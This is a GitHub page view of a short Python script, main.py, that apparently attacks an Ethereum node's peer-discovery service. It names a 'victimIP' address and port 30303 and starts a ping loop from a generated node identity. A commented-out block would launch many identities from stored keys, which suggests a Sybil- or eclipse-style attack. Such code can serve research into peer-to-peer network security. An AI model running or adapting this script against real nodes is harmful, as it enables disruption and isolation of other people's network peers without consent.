-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
51 lines (38 loc) · 1.26 KB
/
main.py
File metadata and controls
51 lines (38 loc) · 1.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
import time
from discovery import EndPoint, PingPacket, PingServer
import socket
from secp256k1 import PrivateKey
import os
def generateKeypair(fileName):
k = PrivateKey(None)
f = open(fileName, "w")
f.write(k.serialize())
f.close()
if __name__ == "__main__":
victimIP = u'141.20.33.237'
ourID = "<nodeID>"
theirID = "<victimID>"
# Just take the IP that routes to the target. ignore error handling
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((victimIP, 30303))
localIP = s.getsockname()[0]
print("Using local IP: " + localIP)
s.close()
# Use these addresses to define the endpoints used by the PingServer
their_endpoint = EndPoint(victimIP, 30303, 30303)
endpoints = {}
servers = {}
kid = str(256)
port = 30303
endpoints[kid] = EndPoint(localIP, port, port)
servers[kid] = PingServer(endpoints[kid], their_endpoint, 1, "../keys/privKey_"+kid, kid)
servers[kid].startListening()
servers[kid].startPingLoop()
# for f in os.listdir("keys/"):
# kid = f.split("_")[1]
# port = 30303 + len(endpoints)
# endpoints[kid] = EndPoint(localIP, port, port)
# servers[kid] = PingServer(endpoints[kid], their_endpoint, 1, "keys/privKey_"+kid, kid)
# servers[kid].startListening()
# servers[kid].startPingLoop()